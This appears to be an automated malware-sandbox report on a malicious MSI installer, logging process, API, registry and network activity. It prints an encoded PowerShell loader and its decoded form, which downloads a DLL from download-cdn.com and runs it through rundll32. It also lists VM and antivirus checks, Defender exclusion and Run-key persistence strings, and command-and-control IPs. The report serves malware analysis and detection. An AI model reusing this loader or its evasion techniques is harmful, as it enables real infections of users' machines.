Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Source: C:\Windows\SysWOW64\rundll32.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_7-4540

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5984	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 1604	Thread sleep time: -109000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 5304	Thread sleep time: -109000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 492	Thread sleep time: -109000s >= -30000s
Source: C:\Windows\SysWOW64\rundll32.exe TID: 5960	Thread sleep count: 38 > 30
Source: C:\Windows\SysWOW64\rundll32.exe TID: 5960	Thread sleep time: -190000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_04A09C20 RegQueryValueExA,GetModuleFileNameW,lstrcpyW,lstrlenW,lstrlenW,ExpandEnvironmentStringsW,lstrlenW,lstrcatW,GetEnvironmentVariableW,GetModuleHandleA,GetProcAddress,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,GetCurrentProcessId,GetCurrentProcessId,ProcessIdToSessionId,GetTickCount,GetModuleHandleA,RegOpenKeyExW,RegQueryValueExW,RegCloseKey,GetProcessWindowStation,GetUserObjectInformationW,GetUserObjectInformationW,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationW,GetUserNameW,GetComputerNameW,GetCurrentProcessId,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,Process32NextW,Process32FirstW,Process32NextW,lstrcpynW,CloseHandle,WTSGetActiveConsoleSessionId,lstrcpyA,CreateDCA,CreateDCA,GetDeviceCaps,GetDeviceCaps,GetDesktopWindow,GetDesktopWindow,MonitorFromWindow,MonitorFromWindow,GetDesktopWindow,MonitorFromWindow,LoadLibraryA,

7_2_04A09C20

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window / User API: threadDelayed 9674

Jump to behavior

Source: C:\Windows\Installer\MSI5344.tmp	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_3-18831
Source: C:\Windows\SysWOW64\rundll32.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_7-4363

Source: C:\Windows\Installer\MSI5344.tmp

API coverage: 5.8 %

Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI48BD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI4B9F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI494B.tmp	Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe

Evasive API call chain: RegOpenKey,DecisionNodes,Sleep

graph_7-4458

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 109000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 109000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 109000

Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node	graph_7-4268
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node	graph_7-4588
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Source: 4641a8.msi.1.dr	Binary or memory string: RegOpenKeyTransactedW::NetUserGetInfo() failed with error: \@invalid string_view positionVMware, Inc.VMware Virtual PlatformVMware7,1innotek GmbHVirtualBoxMicrosoft CorporationVirtual MachineVRTUALACRSYSA M IGetting system informationManufacturer [Model [BIOS [\\?\UNC\\\?\shim_clone%d.%d.%d.%dDllGetVersion[%!]%!ProgramFilesFolderCommonFilesFolderDesktopFolderAllUsersDesktopFolderAppDataFolderFavoritesFolderStartMenuFolderProgramMenuFolderStartupFolderFontsFolderLocalAppDataFolderCommonAppDataFolderProgramFiles64FolderProgramFilesProgramW6432SystemFolderSystem32FolderWindowsFolderWindowsVolumeTempFolderSETUPEXEDIRshfolder.dllSHGetFolderPathWProgramFilesAPPDATAPROGRAMFILES&+
Source: powershell.exe, 00000004.00000002.381153718.0000011A283F9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.846728997.00000000035CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04A07390 SHGetFolderPathW,RegOpenKeyExA,SHGetFolderPathW,lstrlenW,lstrlenW,lstrlenA,lstrlenA,lstrlenA,SHGetFolderPathW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,lstrcatW,lstrcatW,lstrcatW,FindNextFileW,FindClose,	7_2_04A07390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04A07750 RegQueryValueExA,ExpandEnvironmentStringsW,lstrlenW,lstrcatW,FindFirstFileW,lstrcatA,lstrcatW,lstrcatW,GetFileAttributesW,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcpyW,CreateProcessW,CloseHandle,CloseHandle,lstrcatA,lstrcatA,lstrlenW,lstrcatA,lstrcatW,lstrcatW,FindNextFileW,FindClose,	7_2_04A07750
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04A03AA0 GetFileAttributesW,lstrlenW,lstrcmpiW,lstrlenW,CreateDirectoryW,FindFirstFileW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,CopyFileW,SetFileAttributesW,FindNextFileW,lstrcatW,FindClose,	7_2_04A03AA0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04A03D50 lstrcpyW,lstrcpyW,lstrcpyW,FindFirstFileW,lstrcatW,lstrcatW,lstrcatW,CopyFileW,FindNextFileW,FindClose,	7_2_04A03D50
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00FC7750 RegQueryValueExA,ExpandEnvironmentStringsW,lstrlenW,lstrcatW,FindFirstFileW,lstrcatA,lstrcatW,lstrcatW,GetFileAttributesW,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcpyW,CreateProcessW,CloseHandle,CloseHandle,lstrcatA,lstrcatA,lstrlenW,lstrcatA,lstrcatW,lstrcatW,FindNextFileW,FindClose,	9_2_00FC7750
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00FC3AA0 GetFileAttributesW,lstrlenW,lstrcmpiW,lstrlenW,CreateDirectoryW,FindFirstFileW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,CopyFileW,SetFileAttributesW,FindNextFileW,lstrcatW,FindClose,	9_2_00FC3AA0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00FC7390 SHGetFolderPathW,RegOpenKeyExA,SHGetFolderPathW,lstrlenW,lstrlenW,lstrlenA,lstrlenA,lstrlenA,SHGetFolderPathW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,lstrcatW,lstrcatW,lstrcatW,FindNextFileW,FindClose,	9_2_00FC7390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00FC3D50 lstrcpyW,lstrcpyW,lstrcpyW,FindFirstFileW,lstrcatW,lstrcatW,lstrcatW,CopyFileW,FindNextFileW,FindClose,	9_2_00FC3D50

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

7_2_04A09C20

Source: C:\Windows\SysWOW64\rundll32.exe

7_2_10001A90

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Windows\Installer\MSI5344.tmp "C:\Windows\Installer\MSI5344.tmp" /DontWait /HideWindow powershell.exe -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA==

Jump to behavior

Source: C:\Windows\Installer\MSI5344.tmp

Code function: 3_2_00007FF7AF6E1B88 GetLastError,IsDebuggerPresent,OutputDebugStringW,

3_2_00007FF7AF6E1B88

Source: C:\Windows\Installer\MSI5344.tmp

Code function: 3_2_00007FF7AF6E1B88 GetLastError,IsDebuggerPresent,OutputDebugStringW,

3_2_00007FF7AF6E1B88

Source: C:\Windows\Installer\MSI5344.tmp

Code function: 3_2_00007FF7AF6D2DE0 GetProcessHeap,_Init_thread_footer,_Init_thread_footer,

3_2_00007FF7AF6D2DE0

Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF7090A4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF7AF7090A4
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF70F3F4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF7AF70F3F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04A03660 GetComputerNameA,lstrcmpiA,lstrcmpiA,GetUserNameA,lstrcmpiA,SetErrorMode,SetUnhandledExceptionFilter,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,CharLowerA,lstrcpyA,LoadLibraryA,GetProcAddress,wsprintfA,wsprintfA,GetEnvironmentVariableA,SetEnvironmentVariableA,wsprintfA,OpenFileMappingA,CreateFileMappingA,MapViewOfFile,OpenProcess,TerminateProcess,Sleep,CloseHandle,GetCurrentProcessId,RegQueryValueExA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,inet_addr,CreateThread,WaitForSingleObject,ExitThread,	7_2_04A03660
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00FC3660 GetComputerNameA,lstrcmpiA,lstrcmpiA,GetUserNameA,lstrcmpiA,SetErrorMode,SetUnhandledExceptionFilter,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,CharLowerA,lstrcpyA,LoadLibraryA,GetProcAddress,wsprintfA,wsprintfA,GetEnvironmentVariableA,SetEnvironmentVariableA,wsprintfA,OpenFileMappingA,CreateFileMappingA,MapViewOfFile,OpenProcess,TerminateProcess,Sleep,CloseHandle,GetCurrentProcessId,RegQueryValueExA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,inet_addr,CreateThread,WaitForSingleObject,ExitThread,	9_2_00FC3660

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 152.89.196.75 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 64.190.113.123 443
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: download-cdn.com

Encrypted powershell cmdline option found

Source: unknown

Process created: Base64 decoded $from = Split-Path (Get-ItemProperty Path "HKCU:\SOFTWARE\Litesoft\Install").Path -leaf;$dir = $env:programdata;$fn = $dir + "\" + (Get-Random).ToString("x8") + ".dat"$wc = New-Object System.Net.WebClient;$d = "https://download-cdn.com";$wc.DownloadFile($d + "/download.php?f=Ldrp.dll&from=" + $from, $fn);$raw = "MZ" + (Get-Content -Path $fn -Raw).Remove(0, 2);Set-Content -Path ($fn) -NoNewline -Value $rawStart-Process -FilePath rundll32.exe -ArgumentList ('"' + $fn + '",DllRegisterServer');

Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSI5344.tmp "c:\windows\installer\msi5344.tmp" /dontwait /hidewindow powershell.exe -exec bypass -enc jabmahiabwbtacaapqagafmacabsagkadaatafaayqb0aggaiaaoaecazqb0ac0asqb0aguabqbqahiabwbwaguacgb0ahkaiaatifaayqb0aggaiaaiaegaswbdafuaogbcafmatwbgafqavwbbafiarqbcaewaaqb0aguacwbvagyadabcaekabgbzahqayqbsagwaigapac4auabhahqaaaagac0abablageazga7aa0acgakagqaaqbyacaapqagacqazqbuahyaogbwahiabwbnahiayqbtagqayqb0ageaowanaaoajabmag4aiaa9acaajabkagkacgagacsaiaaiafwaigagacsaiaaoaecazqb0ac0augbhag4azabvag0akqauafqabwbtahqacgbpag4azwaoaciaeaa4aciakqagacsaiaaiac4azabhahqaiganaaoajab3agmaiaa9acaatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4atgblahqalgbxaguaygbdagwaaqblag4adaa7aa0acgakagqaiaa9acaaigboahqadabwahmaogavac8azabvahcabgbsag8ayqbkac0aywbkag4algbjag8abqaiadsadqakacqadwbjac4arabvahcabgbsag8ayqbkaeyaaqbsaguakaakagqaiaaracaaigavagqabwb3ag4ababvageazaauahaaaabwad8azga9aewazabyahaalgbkagwabaamagyacgbvag0apqaiacaakwagacqazgbyag8abqasacaajabmag4akqa7aa0acgakahiayqb3acaapqagaciatqbaaciaiaaracaakabhaguadaataemabwbuahqazqbuahqaiaatafaayqb0aggaiaakagyabgagac0augbhahcakqauafiazqbtag8adgblacgamaasacaamgapadsadqakafmazqb0ac0aqwbvag4adablag4adaagac0auabhahqaaaagacgajabmag4akqagac0atgbvae4azqb3agwaaqbuaguaiaatafyayqbsahuazqagacqacgbhahcadqakafmadabhahiadaatafaacgbvagmazqbzahmaiaataeyaaqbsaguauabhahqaaaagahiadqbuagqababsadmamgauaguaeablacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacgajwaiaccaiaaracaajabmag4aiaaracaajwaiacwarabsagwaugblagcaaqbzahqazqbyafmazqbyahyazqbyaccakqa7aa==
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -exec bypass -enc jabmahiabwbtacaapqagafmacabsagkadaatafaayqb0aggaiaaoaecazqb0ac0asqb0aguabqbqahiabwbwaguacgb0ahkaiaatifaayqb0aggaiaaiaegaswbdafuaogbcafmatwbgafqavwbbafiarqbcaewaaqb0aguacwbvagyadabcaekabgbzahqayqbsagwaigapac4auabhahqaaaagac0abablageazga7aa0acgakagqaaqbyacaapqagacqazqbuahyaogbwahiabwbnahiayqbtagqayqb0ageaowanaaoajabmag4aiaa9acaajabkagkacgagacsaiaaiafwaigagacsaiaaoaecazqb0ac0augbhag4azabvag0akqauafqabwbtahqacgbpag4azwaoaciaeaa4aciakqagacsaiaaiac4azabhahqaiganaaoajab3agmaiaa9acaatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4atgblahqalgbxaguaygbdagwaaqblag4adaa7aa0acgakagqaiaa9acaaigboahqadabwahmaogavac8azabvahcabgbsag8ayqbkac0aywbkag4algbjag8abqaiadsadqakacqadwbjac4arabvahcabgbsag8ayqbkaeyaaqbsaguakaakagqaiaaracaaigavagqabwb3ag4ababvageazaauahaaaabwad8azga9aewazabyahaalgbkagwabaamagyacgbvag0apqaiacaakwagacqazgbyag8abqasacaajabmag4akqa7aa0acgakahiayqb3acaapqagaciatqbaaciaiaaracaakabhaguadaataemabwbuahqazqbuahqaiaatafaayqb0aggaiaakagyabgagac0augbhahcakqauafiazqbtag8adgblacgamaasacaamgapadsadqakafmazqb0ac0aqwbvag4adablag4adaagac0auabhahqaaaagacgajabmag4akqagac0atgbvae4azqb3agwaaqbuaguaiaatafyayqbsahuazqagacqacgbhahcadqakafmadabhahiadaatafaacgbvagmazqbzahmaiaataeyaaqbsaguauabhahqaaaagahiadqbuagqababsadmamgauaguaeablacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacgajwaiaccaiaaracaajabmag4aiaaracaajwaiacwarabsagwaugblagcaaqbzahqazqbyafmazqbyahyazqbyaccakqa7aa==
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSI5344.tmp "c:\windows\installer\msi5344.tmp" /dontwait /hidewindow powershell.exe -exec bypass -enc jabmahiabwbtacaapqagafmacabsagkadaatafaayqb0aggaiaaoaecazqb0ac0asqb0aguabqbqahiabwbwaguacgb0ahkaiaatifaayqb0aggaiaaiaegaswbdafuaogbcafmatwbgafqavwbbafiarqbcaewaaqb0aguacwbvagyadabcaekabgbzahqayqbsagwaigapac4auabhahqaaaagac0abablageazga7aa0acgakagqaaqbyacaapqagacqazqbuahyaogbwahiabwbnahiayqbtagqayqb0ageaowanaaoajabmag4aiaa9acaajabkagkacgagacsaiaaiafwaigagacsaiaaoaecazqb0ac0augbhag4azabvag0akqauafqabwbtahqacgbpag4azwaoaciaeaa4aciakqagacsaiaaiac4azabhahqaiganaaoajab3agmaiaa9acaatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4atgblahqalgbxaguaygbdagwaaqblag4adaa7aa0acgakagqaiaa9acaaigboahqadabwahmaogavac8azabvahcabgbsag8ayqbkac0aywbkag4algbjag8abqaiadsadqakacqadwbjac4arabvahcabgbsag8ayqbkaeyaaqbsaguakaakagqaiaaracaaigavagqabwb3ag4ababvageazaauahaaaabwad8azga9aewazabyahaalgbkagwabaamagyacgbvag0apqaiacaakwagacqazgbyag8abqasacaajabmag4akqa7aa0acgakahiayqb3acaapqagaciatqbaaciaiaaracaakabhaguadaataemabwbuahqazqbuahqaiaatafaayqb0aggaiaakagyabgagac0augbhahcakqauafiazqbtag8adgblacgamaasacaamgapadsadqakafmazqb0ac0aqwbvag4adablag4adaagac0auabhahqaaaagacgajabmag4akqagac0atgbvae4azqb3agwaaqbuaguaiaatafyayqbsahuazqagacqacgbhahcadqakafmadabhahiadaatafaacgbvagmazqbzahmaiaataeyaaqbsaguauabhahqaaaagahiadqbuagqababsadmamgauaguaeablacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacgajwaiaccaiaaracaajabmag4aiaaracaajwaiacwarabsagwaugblagcaaqbzahqazqbyafmazqbyahyazqbyaccakqa7aa==	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",DllRegisterServer

Jump to behavior

Source: C:\Windows\Installer\MSI5344.tmp

Code function: 3_2_00007FF7AF6D6650 GetWindowsDirectoryW,GetForegroundWindow,ShellExecuteExW,ShellExecuteExW,GetModuleHandleW,GetProcAddress,AllowSetForegroundWindow,GetModuleHandleW,GetProcAddress,Sleep,EnumWindows,BringWindowToTop,WaitForSingleObject,GetExitCodeProcess,

3_2_00007FF7AF6D6650

Source: rundll32.exe, 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 0Eroot\SecurityCenter2root\SecurityCenterWQLSelect * From AntiVirusProductdisplayName%PROGRAMDATA%\Defaultrundll32.exe "",#1m_svc /sysWinsta0\Defaultopenrunaspowershell.exe -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "explorer.exe %LOCALAPPDATA%LocalLow\Chrome_RenderWidgetHostHWNDDirectUIHWNDClient CaptionSIBBarHostDesktopProgramsMFUMoreProgramsPaneDesktop More Programs PaneNamespaceTreeControl#32768NetUIHWNDSysTreeView32SysListView32Button#32770EditComboBoxComboBoxEx32DUIViewWndClassNameFloatNotifySinkProgmanProgram ManagerSHELLDLL_DefViewFolderViewShell_TrayWndReBarWindow32MSTaskSwWClassMSTaskListWClassSIBJumpViewDV2ControlHostDesktopDestinationList\explorer.exeSOFTWARE\Microsoft\Windows\CurrentVersion\Run39f848a1" /c () > "" 2>&1%08lx
Source: rundll32.exe, 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 0oroot\SecurityCenter2root\SecurityCenterWQLSelect * From AntiVirusProductdisplayName%PROGRAMDATA%\Defaultrundll32.exe "",#1m_svc /sysWinsta0\Defaultopenrunaspowershell.exe -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "explorer.exe %LOCALAPPDATA%LocalLow\Chrome_RenderWidgetHostHWNDDirectUIHWNDClient CaptionSIBBarHostDesktopProgramsMFUMoreProgramsPaneDesktop More Programs PaneNamespaceTreeControl#32768NetUIHWNDSysTreeView32SysListView32Button#32770EditComboBoxComboBoxEx32DUIViewWndClassNameFloatNotifySinkProgmanProgram ManagerSHELLDLL_DefViewFolderViewShell_TrayWndReBarWindow32MSTaskSwWClassMSTaskListWClassSIBJumpViewDV2ControlHostDesktopDestinationList\explorer.exeSOFTWARE\Microsoft\Windows\CurrentVersion\Run39f848a1" /c () > "" 2>&1%08lx

Source: C:\Windows\Installer\MSI5344.tmp	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	3_2_00007FF7AF72C098
Source: C:\Windows\Installer\MSI5344.tmp	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_00007FF7AF72BEBC
Source: C:\Windows\Installer\MSI5344.tmp	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	3_2_00007FF7AF72B664
Source: C:\Windows\Installer\MSI5344.tmp	Code function: EnumSystemLocalesW,	3_2_00007FF7AF724610
Source: C:\Windows\Installer\MSI5344.tmp	Code function: GetLocaleInfoEx,	3_2_00007FF7AF7083E0
Source: C:\Windows\Installer\MSI5344.tmp	Code function: GetLocaleInfoW,	3_2_00007FF7AF724B54
Source: C:\Windows\Installer\MSI5344.tmp	Code function: EnumSystemLocalesW,	3_2_00007FF7AF72BA80
Source: C:\Windows\Installer\MSI5344.tmp	Code function: EnumSystemLocalesW,	3_2_00007FF7AF72B9B0

Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Installer\MSI5344.tmp

